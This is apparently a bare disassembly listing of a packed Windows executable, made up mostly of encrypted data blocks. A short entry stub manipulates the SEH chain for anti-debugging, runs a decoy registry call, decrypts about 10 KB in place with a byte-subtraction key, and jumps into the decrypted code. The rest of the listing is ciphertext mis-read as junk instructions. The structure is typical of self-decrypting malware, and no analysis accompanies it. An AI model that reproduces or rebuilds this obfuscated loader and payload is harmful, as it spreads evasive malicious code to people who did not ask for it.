dd 0C2F48275h, 3296FADEh, 0EA9675FBh, 0FAEE5F48h, 0DD404ADCh
dd 23BE20F3h, 0E14321A6h, 0D2367016h, 96A60A6Fh, 0ACEF0AE0h
dd 0F88E72ABh, 95521ABEh, 0ADE2F38h, 0DF43A6Ch, 72C762ACh
dd 3A2D9FCDh, 0C4268A1Ch, 3443FA5Eh, 700B23Ah, 12A4B2C6h
dd 0F5FB50Ch, 0F244D96Ah, 62DEC606h, 572505FEh, 427402F5h
dd 0B2167AE6h, 0F3DEDB7Ah, 0C95DF993h, 182E59ABh, 72D23A9Eh
dd 32411F0Eh, 0CB332416h, 5C268026h, 0B7C5C709h, 0A214A255h
dd 1276E23Eh, 0A045B1Bh, 97509AA1h, 62D46217h, 926905DCh
dd 0A8933518h, 0AC1EA336h, 0F88E73ABh, 95521ABEh, 0ADF2F38h
dd 0DF43A6Ch, 0AABD2F3Dh, 62B61A8Ch, 4AC48AEEh, 35423ADFh
dd 9CFEAE4Eh, 89E63DBh, 814170AEh, 1ACB3F6Ch, 0FA612A7Ch
dd 811DB63Eh, 4A1D8FDDh, 0B2167AACh, 1B52AA4Eh, 17F88A4Eh
dd 234C2ADh, 0F1531108h, 0E246E006h, 0C2B61A9Eh, 0C6283F6Ch
dd 204D875Ah, 6A850F58h, 8FEFDA4Ch, 82B44942h, 5ED665BCh
dd 0B2C59F8Bh, 816D1AFEh, 8BBE742Eh, 0A93DD972h, 0F88E79CBh
dd 92B65ABEh, 0E8AEF02Eh, 26D88F6Fh, 32E110F7h, 0CB332476h
dd 82268026h, 0AF0FDFEh, 0B14DE61Ah, 97E562CEh, 82B44235h
dd 0F2563A1Eh, 0E8562C3Bh, 0BAB5FF88h, 0DD440A9Ch, 2713D65Eh
dd 0A2869A4Dh, 0ECB6F905h, 51EAB516h, 0F15311B5h, 0E246E006h
dd 87B61B7Eh, 0BCE6FAF9h, 687E81DBh, 0A16114CEh, 52F9329Ch
dd 8A65AFB8h, 8D74BAECh, 0F9602BFEh, 0C85E297Bh, 44A60A6Eh
dd 0A9ED4FDEh, 0F88E79CBh, 96F65ABEh, 9250FF2Eh, 0EB5344DEh
dd 5C46E006h, 48DEA81Bh, 0B246CBEEh, 0B334927Ch, 0BD061A39h
dd 0C362A46h, 98AED32Bh, 7705641Eh, 62D46215h, 0D22E9AFEh
dd 0CA441A5Bh, 5710E261h, 229422D6h, 93A6C51Ch, 0BAB6D219h
dd 9A4EBFA8h, 79E0AAFCh, 48DEA9FBh, 0B2268AEEh, 0A7438B5Eh
dd 258E50ABh, 8A13E416h, 68E640E6h, 8C16CD89h, 312AE777h
dd 57259A0Ch, 427402F5h, 0B2F67ADEh, 0B917097Bh, 0FAD455A9h
dd 0A760E237h, 72C45226h, 0DC498E4Eh, 48DEA21Bh, 0DB8130EEh
dd 687D76B3h, 1C47F4CEh, 89D56DBh, 124170AEh, 79D3BCD6h
dd 0BCC66086h, 0BAAD1F4Dh, 42A90A9Ch, 0D4C27BDEh, 0EAFD6FFDh
dd 92F65ACCh, 0F873CE2Eh, 9A4DBFADh, 0E246AAFCh, 57231D7Eh
dd 91300E56h, 1CF162F5h, 2755E985h, 12A4B2C5h, 7AE64AAEh
dd 2BC6BDAAh, 0E14321F8h, 0D2367016h, 96260A6Eh, 0CC150ABEh
dd 0F88E71CBh, 9C561BBEh, 265E5333h, 0F9333C9Eh, 0A246E006h
dd 16361DDAh, 2376F5EAh, 21FEE0C8h, 29A3746Eh, 0B876B056h
dd 1630159h, 1256D0F6h, 76C62A8Eh, 51B3B1B1h, 42A600A6h
dd 26F67ADEh, 25C56153h, 46F65ABEh, 9CD63A2Bh, 0B9510DC9h
dd 0B1B23799h, 13D11A8Ch, 522A4B77h, 0B9130496h, 0FC06A0C6h
dd 0FAED5F0Dh, 82E64ADCh, 0EE82BADEh, 25F6E22Ch, 0BAB51F08h
dd 3CC10A9Ch, 923D12FCh, 0EA058F58h, 0EDD45ACCh, 0ADD4F1Dh
dd 72D93A6Ch, 0F592AB0Eh, 3A2D9FCDh, 0C2268A1Ch, 2F421A5Eh
dd 0A209B17Dh, 1762DA3Eh, 0DD40DA5Eh, 6D0D4531h, 38CDD60Bh
dd 4BEE85FEh, 0FB794636h, 0DA8DFF6Dh, 2286EA3Ch, 90E35A3Eh
dd 0AE54FB3h, 6A503A6Ch, 0E50F2ACEh, 562B3251h, 0B2024E33h
dd 2AB63B5Eh, 0C5A1F53Eh, 31E003Ch, 6841706Eh, 0CAD64976h
dd 62C62A06h, 2D94BB00h, 0FB237546h, 5AB480EBh, 7D642A3Fh
dd 0F901D4Eh, 182E66ABh, 0F153119Eh, 0E246E006h, 87C61A7Eh
dd 8A0161ECh, 0AD9F6596h, 0AA219221h, 8FF18A69h, 82B4495Ah
dd 21E22F1Fh, 2BC72A7Ch, 0D6525E89h, 323F87F7h, 5F917AACh
dd 229429E6h, 8182DFE9h, 87F5CA5Ch, 72C45225h, 0E246AACEh
dd 1AA51C4Ah, 0C222CC99h, 0DF19B18Ch, 0A214A992h, 5BF2E93Eh
dd 0DAE64AAFh, 0F256BA23h, 0A0F86F59h, 0C46966BBh, 7E5ACE94h
dd 20A3D9DEh, 9B862049h, 881DFA3Bh, 0AAE11D2Eh, 0E19E3D72h
dd 25C1D2C1h, 796428Ah, 37A1C965h, 3284191Eh, 9EC86D29h
dd 1D25FC7h, 44E94ADCh, 4AD34326h, 0DDC66085h, 451D82D1h
dd 42A60AEEh, 0A1431386h, 620B7505h, 68F630D5h, 51F33716h
dd 0B263C5B5h, 5D46E005h, 8CB92248h, 455C75F2h, 0AA8DFF07h
dd 0A2066BEEh, 13405E45h, 17E94AAEh, 0F244D95Ah, 3142DF91h
dd 0BECA9A0Ch, 0E42319D6h, 2F167ADEh, 0A7A1EE8Ch, 9224393Ah
dd 5A96D031h, 0E17D0F48h, 0B1066791h, 87B61A8Ch, 0BEE585F9h
dd 33A17D65h, 9E616ACEh, 1B64F57h, 7DD4ADCh, 0F256BB23h
dd 3142AF91h, 53949A0Ch, 418349A6h, 0B216D65Bh, 2446754Eh
dd 62229DE9h, 51F3B716h, 0B23B53B5h, 0E146E005h, 52B63EFBh
dd 86A38DEEh, 35961035h, 780DEE4Bh, 0ED76653Eh, 4DD56EDh
dd 0F256BA63h, 61BE7189h, 0D236DE81h, 44E68D6Eh, 0B52241E1h
dd 0F88D6ECBh, 0C1C68CBEh, 182D6ADBh, 0A063199Eh, 0C46E009h
dd 0D7AD5AFBh, 0C2268A9Dh, 32967607h, 0A14DA6CEh, 12764EBBh
dd 77ACCAAEh, 0F2D13F25h, 0A8412A8Eh, 0C67985FFh, 16EA323Eh
dd 5FFFD975h, 2294290Eh, 17F9710Bh, 234C9EAh, 0A152BFA1h
dd 67BFAAFCh, 52E4F9E2h, 47F18A79h, 328419FAh, 27117200h
dd 12A4B926h, 82AB7320h, 0E486BA1Eh, 62AD127Dh, 10AB9AFEh
dd 5DE795E2h, 0C2D87DE0h, 0F1DA6F49h, 8EE35ACCh, 51568EB1h
dd 9612C96Fh, 0CD210B22h, 0B633A9C1h, 22268025h, 61128FE9h
dd 4C5E6ABCh, 0B3DD790Bh, 82E64A57h, 0D4C0F9Eh, 5B18364Dh
dd 0D12E6119h, 11AD06F0h, 370D4375h, 31CD68C0h, 13123649h
dd 23E59CDh, 0E17D199Eh, 638895C5h, 5216FE48h, 0D5DCAAEEh
dd 568A851Eh, 713AEF4Dh, 97EFDA4Ch, 82B44976h, 0AE953A3h
dd 0E7C92A8Eh, 0D264797Ah, 80036F4Ch, 0F419C0C9h, 1E48155Ah
dd 0AA61A07Ch, 2924BEDh, 72D33A9Eh, 28BFAA0Eh, 15FCD9D2h
dd 3C93C9BDh, 0F3961039h, 27FD8976h, 1276DB38h, 9A009EFEh
dd 87FD99C8h, 62D465B8h, 0D17DDA7Bh, 42A70FF6h, 97E0E2DEh
dd 13DE6905h, 65F65ABEh, 0DBA4FE8Bh, 57299F42h, 0FB981FB1h
dd 52F7B34Ah, 0D1CEFF65h, 0C7BDFA2Ch, 0A214A5C4h, 1565FC7h
dd 6B7E4ADCh, 0C556BA1Eh, 7D277E2Bh, 0F0A569DBh, 9A39BC4Bh
dd 24E64A07h, 0BE5FE077h, 92D3811Bh, 5B41727Dh, 856E19B5h
dd 1546AA0Eh, 8513CC5Bh
dd 27B839DAh, 0A82FCC8Eh, 49E356F7h, 2A45DA9Bh, 0D16DF3B3h
dd 0F256AC46h, 0A4237D8Eh, 7913DDFh, 9B38DA5Eh, 17AA63ECh
dd 0D986CF6Dh, 0C14EEAA6h, 24E7225h, 57293A9Eh, 0A712D1h
dd 71ECBF5Dh, 0BC433DAh, 0A82FCC8Eh, 49E356F7h, 2A45DA9Bh
dd 0D16DF273h, 77CBEECEh, 62D46422h, 0EC863EE8h, 0B7ADE16Fh
dd 0B204956Ch, 31A226D7h, 88212C2Bh, 7F26B42Eh, 0A8BC6EF3h
dd 1276FA0Eh, 3C3A6FD5h, 0C3BE8A1Ch, 8696FE5Eh, 0B1B56BF8h
dd 89DFAABh, 86009EAEh, 0D2E399CDh, 0E5C66085h, 471D8E3Ah
dd 42740946h, 0DDACEF75h, 652DEA3Ch, 80C2AF43h, 5194CA5Ch
dd 0A8C18C0Bh, 710E2D0Eh, 52619E85h, 479F8AEEh, 3284197Ah
dd 0B1B46AF8h, 8A148ABh, 81A6CFAEh, 0F2565E9Ah, 9286558Eh
dd 223944AEh, 423E0B58h, 8567ADEh, 0ED3C7F05h, 0BA795ACCh
dd 5AE2D925h, 0EBD63A9Bh, 0B84D128Bh, 6E2BA77Eh, 3F268025h
dd 687DCECBh, 3CB83BCEh, 0A7DD0A3Eh, 82B44528h, 0F1FD92A1h
dd 62C3E00Ah, 813644FEh, 586DB21Bh, 28A3D9DEh, 0A5862049h
dd 16EDF996h, 266CFC5h, 0A1FABF27h, 9B59AAFCh, 0A2075D81h
dd 0F32234BFh, 612E8FF5h, 174D6ABCh, 12A4B570h, 6DD0A2Bh
dd 0F256BFB9h, 0E73FF381h, 0D264797Eh, 9A57DB3Fh, 0B20D7AD5h
dd 8CF3699Eh, 17F630D9h, 16E2D9EEh, 0EBD63A9Bh, 0B84D2E8Bh
dd 55E5D7Eh, 3D268AD5h, 0B7C512A9h, 0A214A255h, 2276DA3Eh
dd 7E9501Bh, 0F244AAC7h, 23C9FC81h, 7325AB4Dh, 51168FF7h
dd 3D7E7AACh, 9D86EA36h, 17F93609h, 234DA97h, 0B3D9EC71h
dd 83159B3Dh, 412E9F07h, 0C1698A1Ch, 1B94C5ADh, 557B9F71h
dd 0D525E936h, 3B964DBAh, 0F52E7BC9h, 91D0ABDEh, 7B8C43CDh
dd 8C29275Ah, 92C87BE2h, 9D8AB5D9h, 54F94E00h, 0BAA2573Eh
dd 959F11B5h, 0EEC3E54Fh, 15B6F095h, 0B2025E79h, 0B40D3A31h
dd 0A2066A46h, 2DAD6501h, 362BD7B9h, 5E56D0F4h, 1BD90919h
dd 49776A2h, 9930066Ch, 4CF6A6E0h, 3E52C642h, 0DFE248D2h
dd 5A73CA62h, 735103C1h, 276EEF03h, 3FB1AE7Eh, 0C2D84DC1h
dd 21897F65h, 0A581E985h, 0D02F1153h, 0A86259F1h, 1FFD9935h
dd 0A0F36D5Dh, 81411E05h, 796B49E5h, 0B1088D21h, 31CDFACAh
dd 65C63795h, 865D197Ah, 0E17D199Bh, 0BF1E8501h, 879D39D4h
dd 8E30B2FEh, 53AE59F5h, 0A14DE984h, 41DC86BAh, 0DA983DA5h
dd 0F256BA0Ch, 0F18D8DB6h, 0D236C255h, 0C34B0A6Eh, 0E8099783h
dd 25B1534Eh, 0C1D25ABEh, 86B35560h, 56D65075h, 63A4CC97h
dd 5100E794h, 0C229CE6Bh, 5E5C855Eh, 23E4C8D1h, 11330A59h
dd 82E9BE2Bh, 899911Eh, 62C64A8Eh, 0D5D51F05h, 85B40A6Eh
dd 360D7C12h, 2286EDE3h, 7FEE9D49h, 0A2C62ACEh, 754DBEA5h
dd 0C24BAA0Eh, 51D6FA9Eh, 0C2290E6Ah, 20FF625Eh, 24FDE985h
dd 1276DD97h, 919EAF31h, 6D56BAECh, 9C413250h, 5F785EEh
dd 1DE6FD6Ah, 2B4E7DDBh, 0A7FFFA98h, 92243942h, 8A5A1431h
dd 72D73A9Eh, 89E092DFh, 0E7E639D5h, 0C2F48273h, 0E7861AAFh
dd 0A214A254h, 4BDCBAA8h, 0DAD28206h, 61FDA18Eh, 0D6BDFC0Bh
dd 0C318CD40h, 586E99FBh, 0A933E5DEh, 0F88E79CBh, 92F65ABEh
dd 5948FE2Fh, 0A8BEC91Bh, 0E246AD0Eh, 0D3AAAF7Eh, 0D8EE198Bh
dd 21BD595Eh, 2300D589h, 89E69C3h, 82E64AAEh, 0F2542226h
dd 7AEF2A8Eh, 0D2369AFCh, 29683246h, 3790D975h, 229422CDh
dd 1910DE3Ch, 7A66C066h, 0A8BEC11Bh, 79268C0Eh, 48DEA9FBh
dd 0C22692EEh, 0B28FCF5Eh, 780EF343h, 5762DB3Eh, 8A5DCF9Dh
dd 0F256BAECh, 4D12328Eh, 0BAB5F77Eh, 96A30A9Ch, 2A7BFA2Eh
dd 27862046h, 0FF76C10Ah, 234C2B7h, 0E95C8E9Bh, 0B84E398Bh
dd 52B61A7Eh, 421F3E6Eh, 687E81B3h, 1BD56CCEh, 1AA3FC1h
dd 0DAE64ADCh, 61FD8D1Dh, 0F18B8BB6h, 0D4A6C255h, 0AF210A6Eh
dd 0B2049966h, 0F1FA8751h, 3B4E5ACCh, 1ED8922h, 72D86A1Ah
dd 66D3350Eh, 0CDB6F095h, 702986C4h, 21BBD406h, 6C887985h
dd 9376DA40h, 82062EF8h, 60D19A1Eh, 6CC98060h, 0E2A09DEAh
dd 4A1D8FDDh, 0B2167AACh, 1653FA4Eh, 8146B747h, 97DBCA5Ch
dd 72C45212h, 0D29F3799h, 0B6A91A8Ch, 0BC0503BDh, 0E70BFA5Eh
dd 0A2147ACEh, 12273F11h, 26794C91h, 1ACD3F2Dh, 62C62A7Ch
dd 562D8AFEh, 42A60A14h, 8AEE4D75h, 31CD58BCh, 8136CF49h
dd 34E3CA5Ch, 725EBEA5h, 37C1AA0Eh, 52E4F9FAh, 43165479h
dd 32361EA8h, 5C21CACEh, 578ED46h, 76F84D77h, 26F47F9h
dd 0DF412A7Ch, 0D2648AE7h, 4E21E060h, 0B73FDBAh, 2286205Eh
dd 92CFC141h, 7D66CA2Eh, 2CD74238h, 6915AD16h, 0DA33A5CDh
dd 99268025h, 687E89DBh, 0A2062ACEh, 4978EE3Eh, 7EF84DC6h
dd 0A7CFCA07h, 62D469D2h, 0D34E2D89h, 0C123419Eh, 0F21690B6h
dd 0B686EA4Eh, 63FEF1C0h, 51EA1316h, 6E7173B5h, 0BD5E1D11h
dd 0A8072650h, 0EBCDEE61h, 5A1A8FE3h, 0EF7F6ABCh, 12A4B9EEh
dd 300DAEA1h, 6FE8CB25h, 62C6FF0Dh, 4FC374FEh, 97A600A6h
dd 1A6863DCh, 9A781E9Ch, 0FA4EEAEEh, 0ACED8908h, 75CA8429h
dd 6715BAD8h, 52E4F205h, 0B2268AEEh, 0A793BBE3h, 0DE7BF3E1h
dd 1576B055h, 98D6732Bh, 0CBB53D1Eh, 62C62A8Eh, 4B4E5D29h
dd 42A6DEEDh, 0EE93D1DEh, 23862042h, 46F65ABEh, 0FAA9912Dh
dd 1236DAFEh, 0AABD2F3Dh, 52B61A8Ch, 0C9B20AEEh, 29406290h
dd 1DB0E985h, 89DA6C3h, 0FBE3EDAEh, 0EFF1E2E9h, 317EB719h
dd 0D4199A0Ch, 7D210DD9h, 3193D1C6h, 25862046h, 46F65ABEh
dd 32E3553Ah, 75D65075h, 0B84D6693h, 0BA331D7Eh, 0C3268025h
dd 42508566h, 717EEF59h, 0CC9FDA4Ch, 0FBE97DB6h, 0B457C2E8h
dd 8A29AD9Eh, 62B325FEh, 9AA600A5h, 0B216A252h, 0CB7EAC4Fh
dd 0CC69DBFh, 182E57BBh, 0F153119Eh, 0E246E006h, 86C61A7Eh
dd 1B9B8DECh, 0E896104Eh, 2183E1CEh, 1276B056h, 57E64CAEh
dd 6914980Ah, 38CEB90Bh, 0D6369AFEh, 0BCA4BF6Eh, 0E8FE082Bh
dd 0A103614Eh, 92F630D6h, 0D766CA6Eh, 74D5C4A9h, 98485450h
dd 4B9131E0h, 84F89178h, 14E4FCC8h, 46389D7Dh, 9152BCC9h
dd 0F69A2B0h, 0F244D9C6h, 1042398Eh, 811DB958h, 586D8E1Bh
dd 60A3D9DEh, 31862049h, 881DDA4Bh, 14D3892Eh, 0EFD65079h
dd 0B84D1693h, 8643A77Eh, 0F3268025h, 2196E490h, 780D523Bh
dd 8403793Eh, 0D1E640E9h, 283D226Bh, 3433298Eh, 4F367019h
dd 586CDE1Bh, 1683D9DEh, 0D8862045h, 7D8CCF95h, 0A7E9CA5Ch
dd 72C45946h, 0E21E6D0Eh, 9FB61A7Eh, 9FA78BD8h, 328411D8h
dd 0E3FDDA26h, 883F2BBh, 0C5A6CFAEh, 62FD82A1h, 6A43EB95h
dd 953670EBh, 5CA61AA3h, 181A4FDEh, 1EA2E6CFh, 0A5E36B22h
dd 5122728Eh, 770319B5h, 71107E36h, 18842D5h, 0E0C7C965h
dd 883E27F5h, 878E7CBAh, 0B276DA3Eh, 0D16DAF96h, 6D3F0F35h
dd 0DFD64E4Ah, 0C85C4E8Bh, 3A56956Eh, 0B800FBFCh, 0D8A3DD50h
dd 0C1F65A26h, 0DC22552Eh, 0E1266C9Eh, 0B851A89Bh, 4A729D7Eh
dd 0D1CA886Fh, 3543B635h, 0BA02B051h, 41DD74BFh, 0D16D8996h
dd 9A191B35h, 62C62A3Ah, 0B1DEEB69h, 1AA60A6Eh, 0B2167AD3h
dd 6A860A10h, 92F65ACEh, 266DA16h, 72B2FC9Eh, 0E2472F86h
dd 52B9427Eh, 0DE688AEEh, 5662875Eh, 251CB7D2h, 1B5ADA16h
dd 82E6F20Eh, 0C6D1BA1Eh, 0DDEB5A6Ah, 30B1BF8h, 1AA600A6h
dd 0A13DDB8Ah, 22822C6Fh, 97F461C0h, 0CBC0CB31h, 0D51D4F49h
dd 0BD8ABFA9h, 0F337ABAAh
dd 0AAh, 15A5h dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
push ebp
mov ebp, esp
call near ptr sub_100F417
call sub_100F490
mov ebp, 0 ; DATA XREF: sub_100F417+Cw
jmp loc_100F44B
start endp
; =============== S U B R O U T I N E =======================================
sub_100F417 proc far ; CODE XREF: start+3p
; FUNCTION CHUNK AT 0100F4BF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0100F50E SIZE 0000001C BYTES
push dword ptr fs:0
mov fs:0, esp
add dword ptr ds:loc_100F40D+1, ebp
xor edx, edx
push edx
push edx
push edx
push 80000000h
push 10h
push edx ; phkResult
push 80000000h ; samDesired
push 10000h ; ulOptions
push edx ; lpSubKey
push edx ; hKey
call ds:RegOpenKeyExA ; RegOpenKeyExA
loc_100F44B: ; CODE XREF: start+12j
cld
sub eax, eax
loc_100F44E: ; CODE XREF: sub_100F417+3Dj
dec al
or al, al
jz short loc_100F458
jnz short loc_100F44E
jmp short loc_100F4BF
; ---------------------------------------------------------------------------
loc_100F458: ; CODE XREF: sub_100F417+3Bj
call $+5
pop edx
add edx, 40h
push edx
sub edi, edi
or edi, 289Ch
mov ebx, 4Bh
loc_100F472: ; CODE XREF: sub_100F417+69j
xchg al, [edx]
sub ax, bx
mov [edx], al
add edx, 1
dec edi
cmp edi, 0
ja short loc_100F472
pop edx
mov ebx, [ebp-8]
mov fs:0, ebx
leave
jmp edx
sub_100F417 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_100F490 proc near ; CODE XREF: start+8p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_100F490 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 33h, 2 dup(4Bh)
dd 0D6434B4Bh, 0D4476F4Fh, 4B7A1AE3h, 0D5CB424Bh, 4B4B4B73h
dd 0D6CB4B4Bh, 0BF4F6FA7h
db 78h, 0A4h, 0D4h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_100F417
loc_100F4BF: ; CODE XREF: sub_100F417+3Fj
sti
push ds
jp short loc_100F50E
dec ebx
mov ds:7A22CBDAh, al
dec ebx
dec ebx
retf
; END OF FUNCTION CHUNK FOR sub_100F417
; ---------------------------------------------------------------------------
dd 4B73D903h, 58C0334Bh, 73DAE34Eh, 0A6D64B4Bh, 367E4A4Dh
dd 0DBE3D653h, 4A4B4B73h, 0D6A0A67Eh, 6FB7CC33h, 4BCBED4Fh
dd 5038CC4Bh, 0D64B815Bh, 0D84F6FC7h, 8183E700h, 4B4B044Bh
dd 0EF3E4B4Bh
db 33h, 99h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_100F417
loc_100F50E: ; CODE XREF: sub_100F417+AAj
; .rsrc:0100F580j
dec ebx
dec ebx
dec ebx
setalc
adc esi, [ebx] ; CODE XREF: .rsrc:loc_100F57Aj
xchg eax, edx
dec ebx
dec ebx
dec ebx
jbe short loc_100F526
mov edi, 4C4B8862h
dec ebx
dec ebx
fcom st
and [ebx-7Fh], bl
loc_100F526: ; CODE XREF: sub_100F417+101j
dec ebx
retn 0D555h
; END OF FUNCTION CHUNK FOR sub_100F417
; ---------------------------------------------------------------------------
wait
cmp esi, [ebx]
jge short loc_100F57A
dec ebx
dec ebx
mov al, ss:[edx-30h]
fiadd dword ptr [ebx+4B4B4B81h]
dec ebx
retf
; ---------------------------------------------------------------------------
db 0BFh, 69h, 0D8h
dd 8183DE00h, 6FC7D64Bh, 0D6F0EF4Fh, 818A2300h, 2708D64Bh
dd 0D64B818Ah, 818A1FE8h, 5A0EA84Bh, 0D5E70E7Ch, 7205043Dh
dd 5B7B4B4Bh, 2D8B214Dh, 26680E44h, 0A23ECB1Fh
; ---------------------------------------------------------------------------
adc dh, ah
loc_100F57A: ; CODE XREF: .rsrc:0100F52Dj
jge short near ptr loc_100F512+1
daa
test ch, dl
inc edi
ja short loc_100F50E
add al, [ebx-20h]
jnp short loc_100F59E
push 264A7636h
xor byte ptr [edi+15h], 14h
daa
sbb esp, [eax+ebx-64D839FDh]
adc bh, dh
retn 5F35h
; ---------------------------------------------------------------------------
cmpsb
loc_100F59E: ; CODE XREF: .rsrc:0100F585j
jno short loc_100F5FB
; ---------------------------------------------------------------------------
dd 20D8FEF2h, 0B475BE62h, 53136D47h, 0FBF8E4CCh, 0C44ABAACh
dd 95544FFBh, 266C04F9h, 4E13A7E8h, 46502FA1h, 0B7C68AB2h
dd 0F917695h, 0C77236C2h, 9B3ACEAEh, 73D73BA3h, 36DE57D2h
dd 0B158E39Ch, 0C304770Bh, 0ACE59A92h, 0B9D25D4Ch, 136CC33Fh
dd 952A4BAFh, 18C35CFCh
db 4Ch, 0E1h, 64h
; ---------------------------------------------------------------------------
loc_100F5FB: ; CODE XREF: .rsrc:loc_100F59Ej
ror dword ptr [ebx], 5Ch
aaa
db 26h, 26h
popa
and al, cl
in eax, dx
push esi
inc ebp
mov bl, 37h
clc
xchg esp, [ebx]
mov edi, 0F38714A2h
sub al, 0BAh
pop ss
pop esp
int 49h ; Texas Instruments PC - VIDEO I/O???
xchg eax, edx
add [ebx-5BD24D06h], ebp
xor al, 7Dh
jmp far ptr 97FEh:22DB27C1h
; ---------------------------------------------------------------------------
db 33h
dd 27FE2B4Ch, 821EBA42h, 4D544A7Fh, 7857913Ah, 0E4443ACFh
dd 53379B02h, 199439E4h, 0C7047CDFh, 32336046h, 109D5B8Dh
dd 375E015h, 884FC026h, 0EA62AB3Dh, 682FC002h, 46278BDDh
dd 29A413FCh, 488A6BCFh, 1365D0D3h, 384CEAFh, 0F357910Ch
dd 1644715Eh, 0D437B1F1h, 0EADC0F8h, 288C7BEDh, 2355003Bh
dd 406C2492h, 37506F9h, 0F1AF1B30h, 1247AB12h, 7E319016h
dd 0DB688BDDh, 87130A56h, 1E076BCFh, 0D391CFFEh, 833F0EB2h
dd 6C4FBB0Fh, 7992ED0Ch, 326383FFh, 43810B6Fh, 9E59F0B6h
dd 6304EB7Dh, 958DDFC6h, 80D6CB2Fh, 69E73B2Ch, 6C5E360Fh
dd 53B72614h, 0B327F870h, 0C80CFB6Dh, 0A3D57D22h, 751E8052h
dd 0FE073732h, 0E64F6573h, 0D83C04CFh, 0D32596D4h, 4F22B622h
dd 0E127B268h, 0FBB6078Eh, 93F85BC2h, 0CEA96066h, 375A3BADh
dd 0E287302Fh, 53B99AFBh, 0C30122EFh, 336FFCC9h, 7B876BCBh
dd 1378DB3Fh, 4E29E0E6h, 0B3D4BB2Dh, 6549AF96h, 0D3D19BFFh
dd 43A7F3BFh, 0B3F17BDBh, 0DA7B9310h, 6B475C69h, 368CB30h
dd 5E19B0F6h, 0DDDFAB3Dh, 42B71C7Fh, 99324D7Ch, 3394A35Fh
dd 54A06BCFh, 0ED77DB41h, 7DCAA4AFh, 883EC509h, 6395263Dh
dd 567AECAAh, 19B2EDE4h, 370E7BDFh, 2387ED7Bh, 93F761E7h
dd 4793192Fh, 22D70763h, 0F912699Ch, 1124A87Fh, 9627C1FEh
dd 6D3C8828h, 3407610Ah, 90F4E45h, 6E74BB1h, 0E982D9B4h
dd 0E7BE2B8Fh, 0D3379DFFh, 0EDD90FAh, 637E7BEDh, 89047A50h
dd 0EF7718Eh, 0D972B1ACh, 74475A9Fh, 0EB1A3096h, 0D8321B4Dh
dd 0C335C6C1h, 0B2980B36h, 0B9CF654Ch, 69EC663Fh, 26E781AAh
dd 0F4C8DA19h, 6B86B016h, 50B29BCDh, 43B54645h, 647E84C2h
dd 0D7047A50h, 0EBF77197h, 367CCA7h, 5F239824h, 0A2C2AB3Dh
dd 1CE51BA9h, 46237BA6h, 0F371FE40h, 7D3624D2h, 907F453Fh
dd 59D4261Ch, 0F360141Fh, 673C2B8Fh, 0C25EF944h, 0C042F126h
dd 0B317C8DBh, 0BEA5EB4Fh, 2EF3A244h, 78DCAF21h, 7305169Fh
dd 0E5C051B3h, 153AC69Dh, 3E74EDF1h, 0CB97250Bh, 0A3079ABBh
dd 1391A7CAh, 83410F3Ah, 0F357BB07h, 9487D597h, 232D8531h
dd 0ED1A026h, 36DF7BEDh, 779F2B0Bh, 0EF75B66h, 7E67357Bh
dd 8D17E5E3h, 1549550Fh, 474F1BA9h, 5D278B16h, 62712C5Fh
dd 5742A1Fh, 0E277F11Ah, 82AED088h, 0F358C29Bh, 6314B88Fh
dd 7C37B1EFh, 43A71624h, 188A2A6Ah, 138798D0h, 186C5B8Dh
dd 375DF28h, 0C7275BF6h, 0B2E18BF9h, 7ED19016h, 3A48BDDh
dd 4BC31096h, 0A3076C1Fh, 1377CC67h, 0C7449EAFh, 1AC45DFCh
dd 0B960DD5Fh, 3AD48728h, 5B560B8Ch, 0B3178010h, 32AF6046h
dd 289E5B8Dh, 37506D5h, 65645A4Eh, 3D47A14Ah, 42B9057Fh
dd 99326D7Ch, 34AF545Fh, 0BE766BCFh, 376B6460h, 0F8AEA27Bh
dd 0F38596BDh, 84A61C2h, 0D325B741h, 5256DF6Fh, 0A942E54Ch
dd 0F747704Fh, 17AA15Dh, 923D3D2Bh, 8DCF1F6Bh, 0B221550Fh
dd 89A2BDECh, 576710EFh, 0ACEF6E13h, 0B6076BCCh, 3D1A4C88h
dd 4F29D0A8h, 0E5C4BB2Dh, 87A3E710h, 46E96E22h, 8428339Bh
dd 0B3178957h, 0D9B73F9Fh, 66478B70h, 0CE916066h, 33543BADh
dd 0B23E5FE8h, 0D2AF3F8Bh, 992B4D6Ch, 60D4A35Fh, 0F23A2AC6h
dd 4962EDACh, 45D36AFh, 0F358A35Bh, 0D8CE028Fh, 0D325B6D1h
dd 0EB9A026h, 4B707BEDh, 230EAA4Ah, 6DF7C579h, 1D67352Fh
dd 73D8E39Fh, 0A7C2AB0Bh, 0AD871BA9h, 0D26316F3h, 27F3141h
dd 0B6076BFBh, 8241C388h, 0F85C4AE6h, 0F385B0E7h, 9378FC61h
dd 0FE251096h, 872A0B5Dh, 6C8C3EFFh, 0CBAF434Fh, 93CE2FBFh
dd 35D2E2Fh, 73D73C9Fh, 0E347AB0Fh, 53B71B7Fh, 0C33F1AEFh
dd 3397FB5Fh, 5635BCCFh, 3E5D5056h, 0AC824B9Dh, 28173FC3h
dd 26DD4D0Ah, 0DCE41084h, 52590B5Dh, 0A942F14Ch, 0CB04744Fh
dd 0EBF77196h, 367CB3Dh, 8E2EEA63h, 35F75BFCh, 0AF50F1A8h
dd 7904720Ch, 0D88427C0h, 0F2376B10h, 4962F9ACh, 0AF64D4AFh
dd 0B6579136h, 0B668ED63h, 30D8691Ch, 0E55EEF8Ch, 67FAA049h
dd 0F7B547C2h, 871AC072h, 17BA372Fh, 9134E771h, 48D96E0Fh
dd 9954EFA0h, 84047718h, 0D8893E5Fh, 69249F30h, 0D09447E8h
dd 9C37BB50h, 0F3986205h, 0C464DD52h, 4507800Bh, 0D684EE96h
dd 7617BC32h, 0F7A810C1h, 70148D5Ch, 37C43FD6h, 9434CD87h
dd 350AABEBh, 0B863FC9Ch, 68F9733Bh, 0F6971FC0h, 77289041h
dd 0F28E0FDCh, 9F44B353h, 46898EEFh, 0B657CC75h, 0D3E38A27h
dd 0D78003ACh, 5809A30Bh, 0E9870FB0h, 6714C768h, 37C438D8h
